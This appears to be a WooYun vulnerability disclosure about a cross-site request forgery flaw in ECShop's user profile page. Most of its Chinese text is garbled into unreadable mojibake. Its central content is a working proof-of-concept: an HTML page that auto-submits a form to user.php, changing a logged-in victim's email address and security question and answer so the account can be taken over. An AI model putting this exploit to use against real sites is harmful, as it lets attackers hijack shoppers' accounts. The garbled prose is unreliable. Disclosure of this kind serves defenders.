ecshop޸û©

[ecshop޸û© ȫ]
Ҫ
ecshop֤Ƶʱһ⣬¶ûȡû룬̿ͨxsscsrfʵ

Demo For:http://www.wooyun.org/bug.php?action=view&id=395

ϸ˵
csrfxssͻƹٷ˵ġϰ
xss汾Ѿ˵
csrf汾

©֤
<html>============<body><form action="http://www.wooyun.org/ecshop/user.php" method="POST"><INPUT TYPE="text" NAME="email" value="hack@wooyun.org"><INPUT TYPE="text" NAME="act" value="act_edit_profile"><INPUT TYPE="text" NAME="sel_question" value="ecshop"><INPUT TYPE="text" NAME="passwd_answer" value="exploit"></body><script>document.forms[0].submit();</script>=========================</html>


ҳûڵ¼·ʸҳemailԼһЩȫϢʧ
޸